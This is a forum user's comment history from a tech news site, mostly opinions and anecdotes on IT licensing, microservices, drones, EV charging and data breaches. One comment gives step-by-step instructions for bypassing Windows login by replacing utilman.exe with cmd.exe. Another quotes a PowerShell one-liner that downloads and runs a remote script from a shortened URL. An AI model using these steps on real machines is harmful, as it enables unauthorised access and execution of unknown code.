* Posts by Stu J

124 posts • joined 5 Aug 2009


UK, Ireland users call on SAP to extend indirect licensing deadline again as COVID-19 ravages project plans

Stu J

Licensing indirect access per "user" is a fucking scam

That is all

Brit IT infrastructure giant Computacenter hits pause on shareholder dividends after furloughing 10% of staff

Stu J

Surely no sensible company should be thinking about paying dividends at the moment - if you've got cash in the bank, use it to pay your staff if possible, and otherwise use it to keep yourself afloat until the current crisis passes......?

Microservices guru warns devs that trendy architecture shouldn't be the default for every app, but 'a last resort'

Stu J

Re: Glad I read this

It's not always a valid approach though.

Running multiple instances of a monolith (and by this I'm talking about some of the enterprise-sized monoliths I've come across that required upwards to 32GB/RAM per instance just to get them online...) can be very expensive, and unless your monolith has been explicitly designed to scale horizontally, you invariably run into problems with session management to the extent that it's often impossible to scale dynamically, so you end up over-provisioning to cope with peak load.

I'm a big fan of the strangler pattern - stick a proxy load-balancer in front of all API calls to your monolith, and once you've identified particular areas that you want to be able to scale dynamically and rapidly, break those out as microservices and redirect the calls from the load-balancer to those services, then remove that functionality from the monolith. There's no real reason why the optimal solution shouldn't be a combination of monolith and microservices.

Criminalise British drone fliers, snarl MPs amid crackdown demands

Stu J

This is the only place you really need to look


The bits that are pink and are Class D Airspace aren't prohibited, you've just got to be aware. For example, the Class D airspace above me is part of the Manchester CTR, and although aircraft traverse it going in to both Liverpool and Manchester, they shouldn't ever be below 1,400ft (if they are, we got bigger problems given how far out from both airports I am), and my drone should never be above 400ft, so there shouldn't ever be a risk of conflict.

Specifically, the CAA states: "There are no separate regulations in place regarding the flight of small unmanned aircraft in controlled airspace below 400 ft (Class A,B,C,D,E)", so even though I'm technically in Class D airspace SFC-3500, as far as drones go it's 400-3500, which is a moot point.

TL;DR - There's plenty of places you can fly your drones.

Stalking cheap Chinese GPS child trackers is as easy as 123... 456 – because that's the default password on 600k+ of these gizmos

Stu J

Kite Mark?

About time we had some sort of Kite Mark/CE certification for IoT crap that at the very least checked that it wasn't this bloody easy to hack...

Microsoft Surface users baffled after investing in kit that throttles itself to the point of passing out

Stu J

I'm just guessing here that - in context - it might be:



UK privacy watchdog threatens British Airways with 747-sized fine for massive personal data blurt

Stu J

Pretty sure fines aren't tax-deductible...



"Regulatory bodies

Where a trader incurs a liability to a regulatory body on revenue account that is broadly intended to cover the regulator’s costs of performing its duties in relation to the trading activities, such costs will normally be allowable even where the trader has committed a breach of regulations. However, should a regulatory body impose a penalty for breach of regulations, or should a penalty or fine become payable as a result of a prosecution for a trader’s breach of regulations, this will not be an allowable expense (see McKnight v Sheppard [1999] 71TC419)."

Trolling in the Reg's forums... we mean, er, 'working' on the train still rubbish thanks to patchy data coverage

Stu J

Definite improvement...

I've just started commuting by train again after a hiatus of about 7 years, and was pleasantly surprised that I get 4G almost all the way to work - good enough to maintain a usable SSH session, and to actually "work" on the train.

The journey takes about an hour, and is mostly rural, and 7 years ago there was bugger all coverage for most of it - and what there was was 2G at best in the small towns and villages, and very little in-between. Now it seems the only not-spot is as we come into the suburbs on the edge of the city...

Sysadmin cracked military PC’s security by reading the manual

Stu J


1. Take hard disk out of PC

2. Hang on another PC

3. Copy cmd.exe over the top of utilman.exe (may need to fart about with permissions)

4. Put hard disk back in original PC and boot

5. Click on accessibility icon when Windows Logon screen appears

6. Marvel at the command prompt that appears running in the context of SYSTEM

7. Use command line tools to create a new user, as member of administrators group

8. Full logged-in admin access to operating system at your fingertips

Yes, Bitlocker generally thwarts this approach; but it's a fairly quick way to earn £50 for unlocking people's home PCs when they've managed to forget their password.

National ID cards might not mean much when up against incompetence of the UK Home Office

Stu J

NI Number is already created (if not formally "issued") at birth, as anyone with children who have "Child Trust Funds" will no doubt have spotted that their child's unique reference number follows a suspiciously familiar alphanumeric pattern...

Boss sent overpaid IT know-nothings home – until an ON switch proved elusive

Stu J

Cables under desks

As a summer job when at Uni, I worked in desktop support at a government scientific research establishment. One day I got a ticket to go and deal with the brand new CEO, who was some incredibly eminent Professor in his field. He couldn't get Outlook to update his email. After a quick ping determined no network connectivity, I followed the purple network cable out of the back of his PC, under his desk, where it was tangled with a green network cable, which was plugged into the wall socket. Plug the purple cable into the wall, and hey presto everything worked... He sheepishly admitted he'd rearranged his own office furniture and recabled things himself...

Sysadmin unplugged wrong server, ran away, hoped nobody noticed

Stu J

My bet is that it was Harwell...


'Every little helps'... unless you want email: Tesco to kill free service

Stu J

Re: Damn

+1 for Fastmail, 14-year satisfied customer here...

Apple, if you want to win in education, look at what sucks about iPads

Stu J

Walled Garden

There is no way schools should be buying in to walled gardens of any forms with the taxpayer's money.

UK worker who sold customers' data to nuisance callers must cough up £1k

Stu J

Computer Misuse Act

Why wasn't he prosecuted (and jailed) under the Computer Misuse Act for unlawfully accessing a computer system for unauthorised purposes (i.e. nicking the data)...?

Electric cars to create new peak hour when they all need a charge

Stu J

Re: actually no

As per some other comments, most EVs can cope with a two-way commute plus some nipping about in the evening without a recharge...

And similarly, per comments about letting the market decide - that's where smart meters come in. My car's configured not to charge between 4pm and 11:59pm, simply because my per-unit rate jumps from 11p to 24p at 4pm, back down to 11p at 7pm, and down to 5p between midnight and 6am. The only way I'm ever going to charge between 4pm and midnight is if I'm desperate... So market forces can, do, and will help spread the "load" (literally and figuratively)

OK, Google: Why does Chromecast clobber Wi-Fi connections?

Stu J

Re: when in tandem...

Even better - go for the VigorBX 2000n...

> in-built VDSL modem

> 4G dongle backup option (if you want/need it)

> VOIP PBX capability (it even supports your existing analogue line and phone, but the sound quality's a bit crappy - VOIP calls using a VOIP provider is perfect though)

WW2 Enigma machine to be seized from shamed pharma bro Shkreli

Stu J

Re: The sole copy of Once Upon a Time in Shaolin

Giving it away for free wouldn't be distributing it commercially...

UK council fined £150k for publishing traveller family's personal data

Stu J


Once again, the taxpayer coughs up and the council cretins just waste more taxpayers' money.

It's about time the legislation held individuals in public sector organisations personally accountable.

If the drone responsible for the breach is paid £20k, their boss £40k, their boss £80k, and the CEO of the council £160k, then the fine should be levied vaguely proportionately on their take-home pay over the next year - the drone should pick up £0 (but may well be fired if it can be shown they've blatantly disregarded procedure), the boss £10k, the next boss £30k, the CEO £70k, and the council forced to invest the remaining £40k into systems and processes to stop it from happening again...

Panasonic wants you to wear Li-Ion batteries. The ones that explode

Stu J


I had a PCMCIA CD-ROM drive for my A1200...

Alleged hacker Lauri Love loses extradition case. Judge: Suicide safeguards in place

Stu J

This should be simple...

Did he ever set foot in the USA during, or since he committed the crime?

If no, then the USA have no jurisdiction over this case, end of, and any extradition should be automatically denied on that basis.

He should be tried in the UK though, and Aspergers isn't a defence, although it may be a mitigating factor when it comes to sentencing.

App-V birthday to you, Win10: Virty tools baked in Anniversary update

Stu J

And so it begins...

Con people into using a technology, then one Windows update later, it's gone. You want it back? £££££...

Rinse, repeat.

Brexit? Cutting the old-school ties would do more for Brit tech world

Stu J

You don't need money to get into Oxford or Cambridge

Just saying...

ICO fines NHS trust £185K for publicly airing personnel files

Stu J

Re: Im sorry

If it's not the NHS, it's the councils losing their own taxpayers' data, then paying the fine with...their taxpayers' taxes...

Sod firing them, let's start with jail time for the execs at the top. And work down the chain. And until each level in the chain can prove that they've done everything possible to prevent data breaches, in terms of systems, policies, and training, only then does the lowly minion who actually copied the stuff onto a USB stick and left it on a train get jail time.

It's the only way the decision makers will ever take it seriously.

And no taxpayer funded body should EVER be fined, no matter what they do. It should always be someone either losing their job, or going to prison.

Finance bods SWIFT to update after Bangladesh hack

Stu J

Cheap switches usually don't have the capability to manage and monitor, and cheap second-hand switches are usually cheap because they're EoL or near as damn it - which means any vulnerabilities in the firmware won't be fixed.

The choice of such switches at that time doesn't necessarily mean they weren't fit for purpose at that point in time, however at best it's a short-sighted approach that reflects the attitude of the morons that put them in place. More telling, however, is the lack of firewall. That's just a case of "WTF???"

The web is DOOM'd: Average page now as big as id's DOS classic

Stu J

Re: Yep

Seem to remember it fit on a single 880KB floppy on the Amiga...

India orders 770 million LED light bulbs, prices drop 83 per cent

Stu J

Re: Who's paying the piper?

JFYI, there are LED streetlight replacement projects running in various areas of the UK...

Get lost, Windows 10 and Phone fans: No maps HERE on Microsoft's OS

Stu J

Re: I like Here.

Don't think that's anything specifically to do with the app somehow, unless it's not using the full capabilities of the GPS?

I often use Google Maps on commuter flights at speeds ranging from 0-500mph, altitudes from 0ft to 40,000ft, and never have any problems with it once the GPS locks on - and sluggish GPS lock-on isn't really an app issue.

Attackers packing malware into PowerShell

Stu J

The power of PowerShell


iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")

SpaceX Falcon 9 grounded by 'sledgehammer' winds

Stu J

Re: Why super-cooled fuel?

Anecdotally, the diameter of the SpaceX rockets was limited by the height of the lowest bridge that Elon Musk couldn't pay to have raised or demolished, between the factory and their original test site, minus the height of the low-loader the rockets were shipped on...

Now you can easily see if a site's HTTP headers are insecure, beams dev

Stu J

Hall of Shame

As of 11:51 GMT, "www.theregister.co.uk" is top of their Hall of Shame :-)

And no, it wasn't me that tested it, it was like that when I clicked on the link!

TalkTalk hired BAE Systems' infosec bods before THAT hack

Stu J

TalkTalk customers - have some balls!

Just cancel your direct debit, write to TalkTalk, send them a cheque for the value of any service up to today's date so that you're fully paid up, tell them that as they have breached their due care you are unilaterally terminating your contract with them, you will no longer consume their services (I.E. unplug everything), you require them to release your MAC with immediate effect, and that you reserve the right to take further civil or criminal action against them in the event of any losses incurred, including any loss caused by not being able to use phone/Internet caused by them delaying the release of your MAC, and any legal costs incurred if they force you to take the matter to court.

Sysadmin ignores 25 THOUSAND patches, among other sins

Stu J

Re: 25,000 patches sounds pretty bad, but...

And how does one know without manually auditing every single patch?

WSUS tells you whether patches are standalone, or if they supersede or are superseded by (or both) other patches. It's very easy to select all superseded patches and decline them, as a starter for ten...

Also, given the job this useless tit had done, it wouldn't surprise me if he'd not selected the correct product types/languages, and appropriate levels of patching, which probably would have reduced the 25,000 considerably. Additionally, older versions of Windows included patches for Itanium/IA64 which a quick search/decline in WSUS would knock a fair few off the list too (guessing on a hunch that they weren't running Itanium infrastructure).

Apple Watch is such a flop it's the world's top-selling wearable

Stu J

Fucking sheep

That is all...

HTC in crisis: How did it get to this point? How did it get this bad?

Stu J


HTC flagship owner for 5 years prior to this year.

Now flipped to Samsung. They caught up on pretty much everything else (apart from audio), yet HTC's camera is still woeful.

Audio, I don't care about - only use it when flying, and have decent noise cancelling headphones for that...

Stop press! NHS trust finds G-Cloud, BUYS SOMETHING with it

Stu J


Lync on Office 365 is $5.50 per user per month, or $66 per year. Or slightly less than £45 per year.

So - aside from presumably UK-based servers - what are this company providing that allows them to charge an order of magnitude more...?

Doesn't sound like great taxpayer value to me...

SanDisk launches 200GB microSD card

Stu J

Re: What's that in RPs?

Or to put it another way, if you took your cube of rampacks, and filled the same volume with 200GB microSD cards, you'd have a shade over 4.75 billion of the critters. Which would give you storage of 950 exabytes.

Based on Cisco's previous projections, you'd be able to store the entire global IP traffic for 2015 in your microSD cube.

But, to put it all into context, it's only about as much storage as 2 grams of DNA would theoretically let you store(!)

Mastercard and Visa to ERADICATE password authentication

Stu J

Re: Stop with the mobile requirement already

Agreed. It's bad enough that my bank occasionally needs to text me if I try to access online banking from a new laptop; moreso because I have barely any mobile phone signal at home unless I stand on one leg in the corner of my bathroom.

If I had to do that for every online transaction - well, fuck that...

Got a STRAP-ON? Remember to TAKE IT OFF at WORK

Stu J

Not just oldies

From having a mobile phone from when I was 16, I gave up wearing a watch and used my phone (and later smartphone) for time-telling duties for nearly 15 years.

Then I got a job where I have to take, on average, 35-45 flights a year. A real watch is much, much easier to use when you're on a long haul flight - you wake up, lift your blindfold a smidgin, and glance at your wrist - to realise you've only been asleep half an hour, and turbulence has just woken you up, again. Compare that to either having to contort to get a smartphone out of your pocket (whilst elbowing your sleeping neighbour in the head), or shuffling through the contents of the seatback pocket in front. One with time zone functions on it is even better...! Oh, and it doesn't run down the battery on your phone that you might actually need wherever you're going.

Data entry REAR-END SNAFU: Weighty ballsup leads to plane take-off flap

Stu J

Re: "That meant the pilot had to get the jet into the air without scraping the tail on the runway."

If you read the report, the pilot had to apply a lot of force to get the nose up - however he was conscious about applying too much force, at which point there may have been a tail strike.

It's easy to have fine motor control when you're doing things well within your physical capabilities, but as you get towards the edge of your comfort zone, your accuracy will be diminished.

Most weightlifters will be able to lift lighter weights with very good form, controlling all the way up and down; you get up to maximum weight, and the form becomes far shakier, less accurate, and forget about controlling on the way down altogether.

I'm not sure how much force will have been needed, but if it's "abnormal" then you're into the unknown as far as the aircraft's performance is concerned.

Elon Musk says Tesla's stock price is too high ... welp, NOT ANY MORE

Stu J


Tell people your stock is overvalued.

Get them to sell it to you* at a knock-down price.

Post strong results so stock price climbs again.



*or your friends, or some other holding company

Death of the business Desktop

Stu J

Licensing is the killer

As the chap above said - even if you want to roll out a thin/zero client VDI infrastructure with a 1:1 mapping between thin clients and VMs, you have to pay $100 per endpoint, per year - you can't get SA on a thin client that isn't running Windows.

So a half-decent thin client costs $300, then you have to pay $100 a year - so over 5 years, that's $800. And you could buy an equivalent fully licensed desktop for $600. So to the beancounters you're having to justify the additional expense of $200 per endpoint, on top of the storage, servers, and hypervisor licensing to run the back-end, which is, realistically, another couple of hunderd dollars per VM.

On top of that, someone who does standard desktop support and deployment probably doesn't have the first clue about managing a virtual infrastructure, so you either have to spend on consultants, send your desktop team on training courses, or hire someone with the right skills, which actually increases your spend on that aspect as well.

Where this works well is getting the economy of scale on the back-end and have someone else manage all that tin for you. Unfortunately, Microsoft also expressly forbids using the same servers OR SAN for different customers in a VDI deployment (presumably to stop people chucking their desktops into EC2).

Backup software for HDD and Cloud

Stu J

Re: Backup software for HDD and Cloud

Cloudberry Lab - local and cloud backup in one, $30 for the desktop edition. 14 day free trial.

New iPhones: C certainly DOESN'T stand for 'Cheap'

Stu J

Same old delusional overpriced shite

As for the price, I got an HTC One free of charge on a 2 year £32/month contract. And you're telling me I'd have to pay a wedge up front, as well as an extortionate contract for that gaudy plastic piece of 5C shite?

They really are a cult, aren't they?

Boris Johnson floats idea of 'London visa' to attract tech talent

Stu J

Three words

Fuck. Off. Boris.

Hypersonic 'scramjet' aims for Mach 8 test flight

Stu J

Re: Ok what have I missed

Dont know where the hell you got 8600000 from, it's close to 2700 - so a bit less than 5 minutes...

VMware goes after biz critical apps with vSphere 5.5

Stu J

"The vSphere HA feature is still, as far as we know, limited to VMs that span only a single core"

You're getting HA (high availability - auto restart of VMs on a failed host) mixed up with FT (zero-downtime "migration" of VM from a failed host to a live host). Apparently multi-core FT is in development, but is a far trickier beast than single-core FT to get right...

Sony coughs up £250K ICO fine after security fears

Stu J


...relying on security by obscurity then? Bad, bad Sony...

Are driverless cars the death knell of the motor biz?

Stu J

Anyone who suggests this doesn't have young kids, as the mess they make is fucking horrific. I don't want to have to clean up after them sufficiently for a complete stranger to use the car at the end of every single journey...!

Not so fast with the bubbly, RM: IT biz faces £40m schools-sized hole

Stu J

Re: Bad news for RM - but is it bad news overall?

"schools own In-house it staff"..."real talent being lost"

You're having a fucking laugh aren't you???



Biting the hand that feeds IT © 1998–2020